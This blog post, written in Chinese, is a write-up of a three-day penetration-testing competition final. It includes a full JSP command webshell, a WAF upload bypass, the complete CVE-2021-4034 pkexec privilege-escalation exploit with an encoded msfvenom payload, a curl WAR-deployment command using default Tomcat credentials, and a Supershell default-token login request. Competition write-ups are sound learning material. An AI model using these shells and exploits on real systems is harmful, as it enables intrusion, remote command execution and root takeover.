某渗透决赛

一共打三天,环境看起来还是比较真,怀疑是真的拿之前hvv的真实场景搭的,就是环境经常连不上去,非常的难绷。

Day1

有个题是一个通达OA,版本比较老,好像是11.4,试了一下是弱密码,账号admin密码为空就登录进去了,后台洞打的通达OA v11.8 update.php 后台文件包含命令执行漏洞。内网里只有一台weblogic,用通达oa那台机子搭了个代理,用goby扫了一下看到好像有weblogic ldap RCE,因为之前打春秋云境打过ldap相关的洞,本地刚好有附件,传到通达oa那台机子上建了个ldap,想打但是发现传其他的值还好,传payload的值就会卡住,怀疑是命令没回显且不出网,然后不知道咋打了,结果去看了一下那个weblogic登录口,直接weblogic:weblogic就登录上去了,然后就是经典的传war包getshell:

1.jsp

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
jar -cvf shell.war 1.jsp

部署成功后访问url/shell/1.jsp即可看到我们的马,这个马是输入框执行命令直接回显,直接拿flag即可。

这里有一个小trick,有时候你传war包会被waf拦,这个时候可以用\\\拆分后缀绕过waf,也就是说比如你传一个shell.war被拦了,你可以传一个shell.w\\\ar上去,waf不会告警也不会拦截。

后面是传了一个哥斯拉马上去,因为有个flag在根目录,是root权限的,需要提权。suid看了一下用的是psexec提权。因为那个环境里刚好直接有python,所以选择弹shell到本地,不然没有tty,然后直接运行python脚本提权(想运行可执行文件提权,你必须用相同环境编译一个,很麻烦)。

#!/usr/bin/env python3

# CVE-2021-4034 in Python
#
# Joe Ammond (joe@ammond.org)
#
# This was just an experiment to see whether I could get this to work
# in Python, and to play around with ctypes

# This was completely cribbed from blasty's original C code:
# https://haxx.in/files/blasty-vs-pkexec.c

import base64
import os
import sys

from ctypes import *
from ctypes.util import find_library

# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp

payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)

# Set the environment for the call to execve()
environ = [
        b'exploit',
        b'PATH=GCONV_PATH=.',
        b'LC_MESSAGES=en_US.UTF-8',
        b'XAUTHORITY=../LOL',
        None
]

# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
    libc = CDLL(find_library('c'))
except:
    print('[!] Unable to find the C library, wtf?')
    sys.exit()

# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
    with open('payload.so', 'wb') as f:
        f.write(payload)
except:
    print('[!] Failed creating payload.so.')
    sys.exit()
os.chmod('payload.so', 0o0755)

# make the GCONV_PATH directory
try:
    os.mkdir('GCONV_PATH=.')
except FileExistsError:
    print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
    print('[!] Failed making GCONV_PATH=. directory.')
    sys.exit()

# Create a temp exploit file
try:
    with open('GCONV_PATH=./exploit', 'wb') as f:
        f.write(b'')
except:
    print('[!] Failed creating exploit file')
    sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)

# Create directory to hold gconf-modules configuration file
try:
    os.mkdir('exploit')
except FileExistsError:
    print('[-] exploit directory already exists, continuing.')
except:
    print('[!] Failed making exploit directory.')
    sys.exit()

# Create gconf config file
try:
    with open('exploit/gconv-modules', 'wb') as f:
        f.write(b'module  UTF-8//    INTERNAL    ../payload    2\n');
except:
    print('[!] Failed to create gconf-modules config file.')
    sys.exit()

# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)

感觉已经把环境里的东西都打完了,还有300分确实不知道藏哪里去了

另一个看了的题是一个dedecms,直接www.zip就能下到源码,里面有一个flag。那个版本刚好有后台洞,但密码爆破不出来很抽象。有两条路,一是题目里那个环境可以扫出来一个data/session_目录,cookie中的phpsession刚好对应着文件名,思路就是通过泄露的php的session变成admin,然后打tpl那个洞。另一条路是,网站登录框下面可以看到管理员邮箱是admin@xxx.com,那个xxx.com也可以翻源码看到,就是网站目录,而管理员的密码就是这个xxx.com(什么傻逼社工?),打完提权flag在回收站里。

还有一个tomcat的题,可以tomcat:tomcat登上去,但我们是host-manager不是manager,有什么差别呢,那就是host-manager不能上传并部署war包,而manager可以。当时是断网的,啥资料都查不到很烦,可能是缺了这篇文章Tomcat变体利用:host-manager,host-manger部署应用需要将要部署的应用的路径和一个有效的vhost,m4x哥哥是直接把flag部署到网站上打的。

当然还有一个做法,因为manger管理页面其实只是被隐藏了,接口还在,直接捅接口也能直接上传war包:

curl --upload-file cmd.war -u 'tomcat:tomcat' "http://201.1.2.7:8080/manager/text/deploy?path=/monshell"

Day2

第二天那个pwn题很傻逼,是ssh弱密码,root 123456就上去了,狂恰300分,早上一堆队靠这个上分了,下午不知道主办方是发现了还是啥,直接把环境关了直接上不去了,我这种早上没打的就只能当冤大头了。而且我第二天环境都连不上,找裁判搞了半天也没搞出来,早上九点开始打,直到下午三点我才终于发现是自己的ip好像被主办方ban了,换了个ip就好了。

接着有个傻逼题叫supershell,还是缺了篇文章:RealWorld|应急引发的规模性红队反制案例,这个洞太新了,文章上个月发的,我本地文库没有,大概就是说supershell有个默认token,可以未授权进后台:

POST /supershell/share/shell/login/auth HTTP/1.1
Host: x.x.x.x:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Content-type: application/json
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 33

{
"share_password":"tdragon6"
}

因为我早上环境都连不上去,所以是看的有附件的题做,有个流量题给了个chrome的配置文件,应该是想让我们解密码,另开了个文章详细分析:如何仅通过Chrome配置文件离线还原密码

Day3

有一个jeecms,system:123456登进去了,后台有可以文件上传的功能,虽然有校验,但是可以抓包改后缀,改成jsp即可,值得注意的是他这个上传过程有两个包,两个包都需要抓包改后缀,不然没法通过校验,可能是某种奇怪的waf。连上去之后发现是一个docker环境,还需要docker逃逸,丢cdk上去,用CVE-2022-0492逃逸。

公共环境是一个discuz,反正大部分时候被打的环境都连不上去,是打Discuz!ML V3.X 代码注入复现,用cookie字段中的language参数进行RCE。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇